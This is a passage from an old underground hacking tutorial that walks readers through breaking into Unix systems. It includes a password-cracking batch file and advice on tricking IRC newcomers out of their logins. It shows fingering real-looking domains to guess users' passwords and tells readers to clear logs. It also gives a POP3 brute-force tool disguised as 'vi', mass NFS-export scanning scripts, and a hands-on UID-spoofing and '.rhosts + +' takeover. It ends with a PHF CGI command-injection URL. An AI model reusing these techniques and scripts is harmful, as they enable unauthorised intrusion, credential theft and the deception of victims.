- echo - Mail me some of your hits, let me know how this works for you ;)
-
- jpp -gecos:5 -lower %1 | jack -stdin %1
- jpp -gecos:5 %1 | jack -stdin %1
- jpp -gecos:1 -dot:0 %1 | jpp -translate:.1 | jack -stdin %1
- jpp -gecos:1 -dot:7 %1 | jpp -translate:.1 | jack -stdin %1
- jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.1 | jack -stdin %1
- jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.1 | jack -stdin %1
- jpp -gecos:1 -dot:0 %1 | jpp -translate:.2 | jack -stdin %1
- jpp -gecos:1 -dot:7 %1 | jpp -translate:.2 | jack -stdin %1
- jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.2 | jack -stdin %1
- jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.2 | jack -stdin %1
- jpp -gecos:1 -dot:0 %1 | jpp -translate:.3 | jack -stdin %1
- jpp -gecos:1 -dot:7 %1 | jpp -translate:.3 | jack -stdin %1
- jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.3 | jack -stdin %1
- jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.3 | jack -stdin %1
- jpp -gecos:1 -dot:0 %1 | jpp -translate:.4 | jack -stdin %1
- jpp -gecos:1 -dot:7 %1 | jpp -translate:.4 | jack -stdin %1
- jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.4 | jack -stdin %1
- jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.4 | jack -stdin %1
- jpp -gecos:1 -dot:0 %1 | jpp -translate:.5 | jack -stdin %1
- jpp -gecos:1 -dot:7 %1 | jpp -translate:.5 | jack -stdin %1
- jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.5 | jack -stdin %1
- jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.5 | jack -stdin %1
- jpp -gecos:1 -dot:0 %1 | jpp -translate:.6 | jack -stdin %1
- jpp -gecos:1 -dot:7 %1 | jpp -translate:.6 | jack -stdin %1
- jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.6 | jack -stdin %1
- jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.6 | jack -stdin %1
- jpp -gecos:1 -dot:0 %1 | jpp -translate:.7 | jack -stdin %1
- jpp -gecos:1 -dot:7 %1 | jpp -translate:.7 | jack -stdin %1
- jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.7 | jack -stdin %1
- jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.7 | jack -stdin %1
- jpp -gecos:1 -dot:0 %1 | jpp -translate:.8 | jack -stdin %1
- jpp -gecos:1 -dot:7 %1 | jpp -translate:.8 | jack -stdin %1
- jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.8 | jack -stdin %1
- jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.8 | jack -stdin %1
- jpp -gecos:1 -dot:0 %1 | jpp -translate:.9 | jack -stdin %1
- jpp -gecos:1 -dot:7 %1 | jpp -translate:.9 | jack -stdin %1
- jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.9 | jack -stdin %1
- jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.9 | jack -stdin %1
- jpp -gecos:1 -dot:0 %1 | jpp -translate:.0 | jack -stdin %1
- jpp -gecos:1 -dot:7 %1 | jpp -translate:.0 | jack -stdin %1
- jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.0 | jack -stdin %1
- jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.0 | jack -stdin %1
- jpp -gecos:1 -dot:0 %1 | jpp -translate:.` | jack -stdin %1
- jpp -gecos:1 -dot:7 %1 | jpp -translate:.` | jack -stdin %1
- jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.` | jack -stdin %1
- jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.` | jack -stdin %1
- jpp -gecos:1 -dot:0 %1 | jpp -translate:.~ | jack -stdin %1
- jpp -gecos:1 -dot:7 %1 | jpp -translate:.~ | jack -stdin %1
- jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.~ | jack -stdin %1
- jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.~ | jack -stdin %1
- jpp -gecos:1 -dot:0 %1 | jpp -translate:.! | jack -stdin %1
- jpp -gecos:1 -dot:7 %1 | jpp -translate:.! | jack -stdin %1
- jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.! | jack -stdin %1
- jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.! | jack -stdin %1
- jpp -gecos:1 -dot:0 %1 | jpp -translate:.A | jack -stdin %1
- jpp -gecos:1 -dot:7 %1 | jpp -translate:.A | jack -stdin %1
- jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.A | jack -stdin %1
- jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.A | jack -stdin %1
- jpp -gecos:1 -dot:0 %1 | jpp -translate:.a | jack -stdin %1
- jpp -gecos:1 -dot:7 %1 | jpp -translate:.a | jack -stdin %1
- jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.a | jack -stdin %1
- jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.a | jack -stdin %1
- jpp -gecos:1 -dot:0 %1 | jpp -translate:.q | jack -stdin %1
- jpp -gecos:1 -dot:7 %1 | jpp -translate:.q | jack -stdin %1
- jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.q | jack -stdin %1
- jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.q | jack -stdin %1
-
-
- jpp -gecos:2 -dot:0 %1 | jpp -translate:.1 | jack -stdin %1
- jpp -gecos:2 -dot:7 %1 | jpp -translate:.1 | jack -stdin %1
- jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.1 | jack -stdin %1
- jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.1 | jack -stdin %1
- jpp -gecos:2 -dot:0 %1 | jpp -translate:.2 | jack -stdin %1
- jpp -gecos:2 -dot:7 %1 | jpp -translate:.2 | jack -stdin %1
- jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.2 | jack -stdin %1
- jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.2 | jack -stdin %1
- jpp -gecos:2 -dot:0 %1 | jpp -translate:.3 | jack -stdin %1
- jpp -gecos:2 -dot:7 %1 | jpp -translate:.3 | jack -stdin %1
- jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.3 | jack -stdin %1
- jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.3 | jack -stdin %1
- jpp -gecos:2 -dot:0 %1 | jpp -translate:.4 | jack -stdin %1
- jpp -gecos:2 -dot:7 %1 | jpp -translate:.4 | jack -stdin %1
- jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.4 | jack -stdin %1
- jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.4 | jack -stdin %1
- jpp -gecos:2 -dot:0 %1 | jpp -translate:.5 | jack -stdin %1
- jpp -gecos:2 -dot:7 %1 | jpp -translate:.5 | jack -stdin %1
- jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.5 | jack -stdin %1
- jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.5 | jack -stdin %1
- jpp -gecos:2 -dot:0 %1 | jpp -translate:.6 | jack -stdin %1
- jpp -gecos:2 -dot:7 %1 | jpp -translate:.6 | jack -stdin %1
- jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.6 | jack -stdin %1
- jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.6 | jack -stdin %1
- jpp -gecos:2 -dot:0 %1 | jpp -translate:.7 | jack -stdin %1
- jpp -gecos:2 -dot:7 %1 | jpp -translate:.7 | jack -stdin %1
- jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.7 | jack -stdin %1
- jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.7 | jack -stdin %1
- jpp -gecos:2 -dot:0 %1 | jpp -translate:.8 | jack -stdin %1
- jpp -gecos:2 -dot:7 %1 | jpp -translate:.8 | jack -stdin %1
- jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.8 | jack -stdin %1
- jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.8 | jack -stdin %1
- jpp -gecos:2 -dot:0 %1 | jpp -translate:.9 | jack -stdin %1
- jpp -gecos:2 -dot:7 %1 | jpp -translate:.9 | jack -stdin %1
- jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.9 | jack -stdin %1
- jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.9 | jack -stdin %1
- jpp -gecos:2 -dot:0 %1 | jpp -translate:.0 | jack -stdin %1
- jpp -gecos:2 -dot:7 %1 | jpp -translate:.0 | jack -stdin %1
- jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.0 | jack -stdin %1
- jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.0 | jack -stdin %1
-
-
- jpp -gecos:4 -dot:0 %1 | jpp -translate:.1 | jack -stdin %1
- jpp -gecos:4 -dot:7 %1 | jpp -translate:.1 | jack -stdin %1
- jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.1 | jack -stdin %1
- jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.1 | jack -stdin %1
- jpp -gecos:4 -dot:0 %1 | jpp -translate:.2 | jack -stdin %1
- jpp -gecos:4 -dot:7 %1 | jpp -translate:.2 | jack -stdin %1
- jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.2 | jack -stdin %1
- jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.2 | jack -stdin %1
- jpp -gecos:4 -dot:0 %1 | jpp -translate:.3 | jack -stdin %1
- jpp -gecos:4 -dot:7 %1 | jpp -translate:.3 | jack -stdin %1
- jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.3 | jack -stdin %1
- jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.3 | jack -stdin %1
- jpp -gecos:4 -dot:0 %1 | jpp -translate:.4 | jack -stdin %1
- jpp -gecos:4 -dot:7 %1 | jpp -translate:.4 | jack -stdin %1
- jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.4 | jack -stdin %1
- jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.4 | jack -stdin %1
- jpp -gecos:4 -dot:0 %1 | jpp -translate:.5 | jack -stdin %1
- jpp -gecos:4 -dot:7 %1 | jpp -translate:.5 | jack -stdin %1
- jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.5 | jack -stdin %1
- jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.5 | jack -stdin %1
- jpp -gecos:4 -dot:0 %1 | jpp -translate:.6 | jack -stdin %1
- jpp -gecos:4 -dot:7 %1 | jpp -translate:.6 | jack -stdin %1
- jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.6 | jack -stdin %1
- jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.6 | jack -stdin %1
- jpp -gecos:4 -dot:0 %1 | jpp -translate:.7 | jack -stdin %1
- jpp -gecos:4 -dot:7 %1 | jpp -translate:.7 | jack -stdin %1
- jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.7 | jack -stdin %1
- jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.7 | jack -stdin %1
- jpp -gecos:4 -dot:0 %1 | jpp -translate:.8 | jack -stdin %1
- jpp -gecos:4 -dot:7 %1 | jpp -translate:.8 | jack -stdin %1
- jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.8 | jack -stdin %1
- jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.8 | jack -stdin %1
- jpp -gecos:4 -dot:0 %1 | jpp -translate:.9 | jack -stdin %1
- jpp -gecos:4 -dot:7 %1 | jpp -translate:.9 | jack -stdin %1
- jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.9 | jack -stdin %1
- jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.9 | jack -stdin %1
- jpp -gecos:4 -dot:0 %1 | jpp -translate:.0 | jack -stdin %1
- jpp -gecos:4 -dot:7 %1 | jpp -translate:.0 | jack -stdin %1
- jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.0 | jack -stdin %1
- jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.0 | jack -stdin %1
-
-
- jpp -gecos:8 -dot:0 %1 | jpp -translate:.1 | jack -stdin %1
- jpp -gecos:8 -dot:7 %1 | jpp -translate:.1 | jack -stdin %1
- jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.1 | jack -stdin %1
- jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.1 | jack -stdin %1
- jpp -gecos:8 -dot:0 %1 | jpp -translate:.2 | jack -stdin %1
- jpp -gecos:8 -dot:7 %1 | jpp -translate:.2 | jack -stdin %1
- jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.2 | jack -stdin %1
- jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.2 | jack -stdin %1
- jpp -gecos:8 -dot:0 %1 | jpp -translate:.3 | jack -stdin %1
- jpp -gecos:8 -dot:7 %1 | jpp -translate:.3 | jack -stdin %1
- jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.3 | jack -stdin %1
- jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.3 | jack -stdin %1
- jpp -gecos:8 -dot:0 %1 | jpp -translate:.4 | jack -stdin %1
- jpp -gecos:8 -dot:7 %1 | jpp -translate:.4 | jack -stdin %1
- jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.4 | jack -stdin %1
- jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.4 | jack -stdin %1
- jpp -gecos:8 -dot:0 %1 | jpp -translate:.5 | jack -stdin %1
- jpp -gecos:8 -dot:7 %1 | jpp -translate:.5 | jack -stdin %1
- jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.5 | jack -stdin %1
- jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.5 | jack -stdin %1
- jpp -gecos:8 -dot:0 %1 | jpp -translate:.6 | jack -stdin %1
- jpp -gecos:8 -dot:7 %1 | jpp -translate:.6 | jack -stdin %1
- jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.6 | jack -stdin %1
- jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.6 | jack -stdin %1
- jpp -gecos:8 -dot:0 %1 | jpp -translate:.7 | jack -stdin %1
- jpp -gecos:8 -dot:7 %1 | jpp -translate:.7 | jack -stdin %1
- jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.7 | jack -stdin %1
- jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.7 | jack -stdin %1
- jpp -gecos:8 -dot:0 %1 | jpp -translate:.8 | jack -stdin %1
- jpp -gecos:8 -dot:7 %1 | jpp -translate:.8 | jack -stdin %1
- jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.8 | jack -stdin %1
- jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.8 | jack -stdin %1
- jpp -gecos:8 -dot:0 %1 | jpp -translate:.9 | jack -stdin %1
- jpp -gecos:8 -dot:7 %1 | jpp -translate:.9 | jack -stdin %1
- jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.9 | jack -stdin %1
- jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.9 | jack -stdin %1
- jpp -gecos:8 -dot:0 %1 | jpp -translate:.0 | jack -stdin %1
- jpp -gecos:8 -dot:7 %1 | jpp -translate:.0 | jack -stdin %1
- jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.0 | jack -stdin %1
- jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.0 | jack -stdin %1
-
- --------------- end of jackhash.bat
-
- You can get password files without an account, see next chapter.
-
- ------------------
- Section 2B.
- Talking to newbe's
- ------------------
-
- There are other ways to get an account without doing much work. Park yourself
- on an irc channel that you made with a title about hacking. Also try joining
- other channels already on the irc. Channels would include:
- #hacking #unix #unixhacking #hack #hackers #hacker #virus #virii
- #hackers_hideout or any others you can find.
-
- Now what you are looking for are newbe's looking to learn or exploit their shell
- they are on already. There is always someone out there that does not know as
- much as you. Watch for someone out there that asks a newbe question and gets
- no answer or even kicked off the channel. Here is your mark ;)
-
- /msg him so that others can't see that you are talking to him, and begin to ask
- him questions, try to help him, but not too much ;) Finally tell him that you
- can login for him and do it. This could be to snatch the passwd file or god
- knows what. Promise him the world and get that login password. Now you have
- a start and can start your on-hands learning process. If you get root on the
- system you might not want to expose that to him, but you can feed him other
- goodies that will keep him busy while you sniff some other passwords on the
- system.
-
- So now if there are some out there that remember i-e when you gave him your
- login and password, you can be sure that the above never happened <G>rin ...
-
- I tend to like to help people learn so I am telling the truth when i say I
- have dealt honestly with most everyone I have come across.
-
- -------------
- Section 2C.
- The hard way
- -------------
-
- There is another way you can do this. Be sure that on most big systems
- that users do not use secure passwords. from a shell do this:
-
- finger @domainname.com Watch I will do a real domain:
-
- [10:35am][/home/ii]finger @starnet.net
- [starnet.net]
- Login Name Tty Idle Login Time Office Office Phone
- chris Chris Myers p2 4:46 Jan 27 11:19
- mike Mike Suter p1 4:57 Jan 22 16:14
- mike Mike Suter p5 3d Jan 16 15:35
- root System Administrator p3 4:59 Jan 16 10:17
- wendt Catherine Wendt-Bern p0 3 Jan 21 14:49
- [10:35am][/home/ii]
-
- Now we might want to try logging in later, log this information:
-
- Login chris Password try: Chris, chris, myers, Myers, chrismyers, etc...
-
- This one looks good, wendt:Catherine:catherine
-
- Here is another command:
-
- [10:35am][/home/ii]finger -l @starnet.net
- [starnet.net]
-
-
- Login: mike Name: Mike Suter
- Directory: /usra/staff/mike Shell: /bin/csh
- On since Wed Jan 22 16:14 (CST) on ttyp1, idle 5:26, from mikesbox.starnet.net
- On since Thu Jan 16 15:35 (CST) on ttyp5, idle 3 days 22:00, from mikesbox
- Last login Sun Jan 26 23:07 (CST) on ttyp2 from hurk
- No Plan.
-
- Login: root Name: System Administrator
- Directory: /root Shell: /bin/csh
- On since Thu Jan 16 10:17 (CST) on ttyp3, idle 5:28, from mikesbox.starnet.net
- Last login Thu Jan 16 18:07 (CST) on ttyp6 from mikesbox.starnet.net
- Mail forwarded to:
- \chris@admin.starnet.net
- #\chris@admin.starnet.net, \mike@admin.starnet.net
- No Plan.
-
- Login: wendt Name: Catherine Wendt-Bernal
- Directory: /usra/staff/wendt Shell: /bin/csh
- On since Tue Jan 21 14:49 (CST) on ttyp0, idle 0:02, from veggedout
- No Plan.
-
- You get more info to play with ;)
-
-
- I know this can make you tired ....
-
- Remember this stuff will log your tries, so if you get on and get root, clean
- the logs ;)
-
- Here is a small .c file you can use if you get on.
-
- pop3hack.c
- ----- cut here
-
- #include <stdio.h>
- #include <string.h>
- #include <signal.h>
- #include <unistd.h>
- #include <sys/param.h>
- #include <sys/socket.h>
- #include <netinet/in.h>
- #include <netdb.h>
- #include <stdarg.h>
-
- /* First, define the POP-3 port - almost always 110 */
- #define POP3_PORT 110
-
- /* What we want our program to be masked as, so nosy sys admin's don't kill us */
- #define MASKAS "vi"
-
- /* Repeat connect or not - remember, logs still report a connection, so
- you might want to set this to 0. If set to 0, it will hack until it finds
- 1 user/password then exit. If set to 1, it will reconnect and try more
- user/passwords (until it runs out of usernames) */
- #define RECONNECT 0
-
- ----- cut here
-
- You could also write a small perl script that will finger @ from a domain
- list and cat the response to a file, then when done it will go back and try
- to login using pop3d username-username (or other info) and putting the
- response into another file for you.
-
- You can ftp to rs.internic.net:
- in the domain directory you will find:
-
- com.zone.gz
- edu.zone.gz
- gov.zone.gz
- mil.zone.gz
- net.zone.gz
- org.zone.gz
-
- download these files and run getdomain.pl (script below) on the domains you
- want to target first, in this manor:
-
- "perl getdomain.pl com.zone com >com.all"
-
- What this will do is rip all of the .COM domains and put them into a file
- called comm.all.
-
- If you wanted to do all of the .EDU addresses you would type:
-
- perl getdomain.pl edu.zone edu >edu.all
-
- Now you will have a list to use with your probe called edu.all
-
- Here is the perl script
-
- getdomain.pl
- ---- cut here
- #!/usr/bin/perl
-
- # GetDomain By Nfin8 / Invisible Evil
- # Questions /msg i-e or /msg i^e
- #
- # Retrieve command line arguments.
- my($inputfile, $domain) = @ARGV;
- usage() if (!defined($inputfile) || !defined($domain));
-
- # Open and preprocess the input file.
- open(INFILE, "<$inputfile") or die("Cannot open file $inputfile for reading!\n");
- my(@lines) = <INFILE>;
-
- # Initialize main data structure.
- my(%hash) = {};
- my($key) = "";
-
- foreach (@lines) {
- $key = (split(/\ /))[0];
- chop($key);
- next if ((($key =~ tr/.//) < 1) ||
- (uc($domain) ne uc(((split(/\./, $key))[-1]))) ||
- ($key =~ m/root-server/i));
- $hash{$key}++;
- }
-
- # Close input file and output data structure to STDOUT.
- close(INFILE);
-
- foreach (sort(keys(%hash))) {
- print "$_\n";
- }
-
- sub usage {
- print("\n\ngetdomain:\n");
- print("Usage: getdomain [inputfile] [search]\n\n");
- print("Where [search] is one of \'com\', \'edu\', \'gov\', \'mil\' or \'net\'.\n\n");
- exit(0);
- }
-
- 0;
-
- ---- cut here - end of script -----
-
- To use the script above all you need to do is copy between the lines above
- and name it getdomain.pl, now copy it into the unix os and type
- chmod +x getdomain.pl
-
- Now it is ready to run with the command lines above.
-
- ------------------------------------------
- Section 2D.
- using Mount to gain access to unix systems
- ------------------------------------------
-
- This is not hard to do and there are many systems out there that are mountable.
- Mount is a command in unix that will allow you to mount remote machines drives
- you yours. This is done so you can do installs from other machines, or just
- share drives or directories across the network. The problem is that many
- admins are good with unix commands or setup. Or maybe they are just plain
- lazy and mount the drives with world access not understanding that the world
- can mount the drive and gain write access to their users directories.
-
- What you will need to get started here is a hacked root account. To be able to
- mount the remote drive and gain access you will need to modify the system's
- password file and use the su command.
-
- Ok let's say we have root access. let's get started!
-
- You can see if another system has mountable drives by using the showmount
- command.
-
- From root account:
-
- $root> showmount -e wwa.com
- mount clntudp_create: RPC: Port mapper failure - RPC: Unable to receive
-
- Ok, no problem, this domain will not work, go on to the next one...
-
- $root> showmount -e seva.net
- Export list for seva.net:
- /var/mail pluto.seva.net
- /home/user1 pluto.seva.net
- /usr/local pluto.seva.net,rover.seva.net
- /export/X11R6.3 rover.seva.net
- /export/rover rover.seva.net,pluto.seva.net
- /export/ftp/linux-archive/redhat-4.1/i386/RedHat (everyone)
-
- Notice the (everyone), this would be good if we wanted to install linux
- from this guy's box, but we want open directories to users.... so go on to
- the next one...
-
- $root> showmount -e XXXXX.XXX < this one worked ... find your own ;)
- Export list for XXXXX.XXX:
- /export/home (everyone)
-
- Now this guy mounted his home directory, the user accounts are off of the home
- directory ;) and look above ... (everyone) can access it!
-
-
- Ok, this section was to show you how to see if they are mountable, in the next
- section i will show you how to mount and hack it. But for now, here is a
- script that will scan for EVERY DOMAIN on the internet that is mountable and
- log them for you.
-
- To use this script simply use the domain ripper in the PHF section and download
- the needed files from rs.internic.net rip some domains and name the file
- 'domains' and startup the script. To make it run in the background put a
- & after the command. like this: cmount.pl&
-
- How it works:
-
- When you run the file it will go to the domains list and run showmount -e
- on each domain, if it finds that there is a return on mountable drives
- it will save the info in the current directory in files named:
- domain.XXX.export. All you have to do is view the files and mount the drives!
-
- --------------- start of cmount.pl
- #!/usr/bin/perl -w
- #
- # Check NFS exports of hosts listed in file.
- # (Hosts are listed, once per line with no additional whitespaces.)
- #
- # ii@dormroom.pyro.net - 2/27/97.
-
- # Assign null list to @URLs which will be added to later.
- my(@result) = ();
- my(@domains) = ();
- my($program) = "showmount -e ";
-
- # Pull off filename from commandline. If it isn't defined, then assign default.
- my($DomainFilename) = shift;
- $DomainFilename = "domains" if !defined($DomainFilename);
-
- # Do checking on input.
- die("mountDomains: $DomainFilename is a directory.\n") if (-d $DomainFilename);
-
- # Open $DomainFilename.
- open(DOMAINFILE, $DomainFilename) or
- die("mountDomains: Cannot open $DomainFilename for input.\n");
-
- while (<DOMAINFILE>) {
- chomp($_);
- print "Now checking: $_";
-
- # Note difference in program output capture from "geturl.pl".
- open (EXECFILE, "$program $_ |");
- @execResult = <EXECFILE>;
- next if (!defined($execResult[0]));
- if ($execResult[0] =~ /^Export/) {
- print " - Export list saved.";
- open (OUTFILE, ">$_.export");
- foreach (@execResult) {
- print OUTFILE;
- }
- close (OUTFILE);
- }
- close(EXECFILE);
- print "\n";
- }
-
- # We are done. Close all files and end the program.
- close (DOMAINFILE);
-
- 0;
- ----------------- end of cmount.pl
-
- Ok, now on to mounting the drives ....
-
- lets say we did a showmount -e domain.com and got back:
-
- Export list for domain.com:
- / (everyone)
- /p1 (everyone)
- /p2 (everyone)
- /p3 (everyone)
- /p5 (everyone)
- /p6 (everyone)
- /p7 (everyone)
- /var/spool/mail titan,europa,galifrey
- /tmp (everyone)
-
- We would want to mount / .. yup .... this guy has his entire system mountable!
-
- $root> mkdir /tmp/mount
- $root> mount -nt nfs domain.com:/ /tmp/mount
-
- If he had the home directory mountable the command would be:
-
- $root> mount -nt nfs domain.com:/home /tmp/mount
-
- To unmount the system, make sure you are out of the directory and type:
- $root> umount /tmp/mount
-
- Make sure you make the mount directory first, you can make this anywhere on the
- system that you want. If the systems /mnt directory is empty you can use it
- also.
-
- Ok this is for real:
-
- bash# ls -al /mnt ; making sure the mnt dir is empty
- ls: /mnt: No such file or directory ; there was not even a dir there ;)
- bash# mkdir /mnt ; lets make one for them <g>rin
- bash# mount -nt nfs xxxxxx.xxx:/export/usr /mnt ; let's mount the sucker ...
- bash# cd /mnt ; changing to the mounted drive...
- bash# ls ; just the plain dir ..
- TT_DB home raddb share
- back local radius-961029.gz www
- exec lost+found radius-961029.ps
- bash# ; there is is up there, the home dir ... oh good ...
- bash# cd home
- bash# ls -l ; long directory listing ... tom is looking good here ;)
- total 18
- drwxr-xr-x 2 judy other 512 Feb 1 10:41 garry
- drwxr-xr-x 69 infobahn other 5632 Mar 10 01:42 horke
- drwxr-xr-x 11 301 other 2048 Mar 1 10:25 jens
- drwxr-xr-x 2 300 other 512 Oct 15 07:45 joerg
- drwxr-xr-x 2 604 other 512 Feb 8 13:00 mailadmin
- drwxr-xr-x 2 melissa other 512 Sep 27 06:15 mk
- drwxr-xr-x 6 news news 512 Mar 6 1996 news
- drwxr-xr-x 2 303 other 512 Jan 24 04:17 norbert
- drwxr-xr-x 4 jim other 512 Sep 27 06:16 pauk
- drwxr-xr-x 2 302 other 512 Mar 1 10:10 tom
- drwxr-xr-x 5 601 daemon 512 Jan 26 1996 viewx
- drwxr-xr-x 10 15 audio 512 Oct 17 08:03 www
- bash# ; notice tom is user number 302 ... hmmm lets put him in our passwd file
- bash# pico /etc/passwd
- tom:x:302:2::/home:/bin/bash ; this should do it ;)
- bash# su - tom ; su to the tom account ...
- bash$ ls -l
- total 18
- drwxr-xr-x 2 judy other 512 Feb 1 10:41 garry
- drwxr-xr-x 69 infobahn other 5632 Mar 10 01:42 horke
- drwxr-xr-x 11 301 other 2048 Mar 1 10:25 jens
- drwxr-xr-x 2 300 other 512 Oct 15 07:45 joerg
- drwxr-xr-x 2 604 other 512 Feb 8 13:00 mailadmin
- drwxr-xr-x 2 melissa other 512 Sep 27 06:15 mk
- drwxr-xr-x 6 news news 512 Mar 6 1996 news
- drwxr-xr-x 2 303 other 512 Jan 24 04:17 norbert
- drwxr-xr-x 4 jim other 512 Sep 27 06:16 pauk
- drwxr-xr-x 2 tom other 512 Mar 1 10:10 tom
- drwxr-xr-x 5 601 daemon 512 Jan 26 1996 view
- drwxr-xr-x 10 15 audio 512 Oct 17 08:03 www
- bash$ ; NOTICE above that toms user number is gone ... we now own his dir!
- bash$ echo + +>>tom/.rhosts ; this will make a file in his dir called .rhosts
- bash$ ;inside .rhosts will be wild cards + + for anyone to rlogin to his account
- bash$ rlogin xxxxx.xxx we are tom on our machine, so lets just rlogin plain.
- Last login: Fri Mar 7 00:16:03 from xxxxx.xxxxxxxxxx
- Sun Microsystems Inc. SunOS 5.5 Generic November 1995
- > ; yup we are in!
- > ls -al
- total 8
- drwxr-xr-x 2 tom group 512 Mar 1 17:10 .
- drwxr-xr-x 14 tom group 512 Jan 24 11:16 ..
- -rw-r--r-- 1 tom group 144 Dec 30 15:32 .profile
- -rw-r--r-- 1 tom bin 8 Mar 11 08:26 .rhosts
- >
-
- So now we have access, so lets just hack this system ... oops, that is another
- lesson! Have pun!
-
- ---------------------
- Chapter III
- Getting passwd files
- ---------------------
-
- Here are some ways to get password files from unix systems. Most of them
- you will need an account, but there is still a way to access to the system
- without having an account. Here you will learn the difference between a
- regular passwd file and a shadowed passwd file. You will also learn a way
- to read the shadowed password file.
-
- ------------------
- Section 3A
- PHF WWW PH Query
- ------------------
-
- There is a program in the WWW cgi-bin directory called phf, if the file
- is there, and has permission x, you can access it by using the www, or
- a text version browser in linux called lynx. Now you can read files on the
- system (yup .. /etc/passwd) and save them to files local in your computer.
-
- There are many things we can get done here. If the server is running their
- httpd server as root owner, we can be root by using phf and even change an
- account password on the machine.
-
- I will include a perl script here that will auto check all of the systems out
- there by using the getdomain.pl script above and check what the server is
- running under. If it is running under root, it will just log the id, if the
- server is not running under root, it will auto get the passwd file from the
- /etc directory and name it domainname.???.passwd.
-
- I will also attach a script that will allow you to use a simple command from
- a shell and if phf is on the system allow you to pipe commands from the shell
- to the remote system with one command line.
-
- Ok now that you know what is coming, lets teach you how to use phf.
-
- Use your favorite web browser, or the text version in unix called most of
- the time lynx, on some systems www.
-
- After the screen comes up type the letter g, now a line appears like below:
-
- URL to open:
- Arrow keys: Up and Down to move. Right to follow a link; Left to go back.
- H)elp O)ptions P)rint G)o M)ain screen Q)uit /=search [delete]=history list
-
- You type:
-
- URL to open: http://xxx.org/cgi-bin/phf/?Qalias=x%0aid
- Arrow keys: Up and Down to move. Right to follow a link; Left to go back.
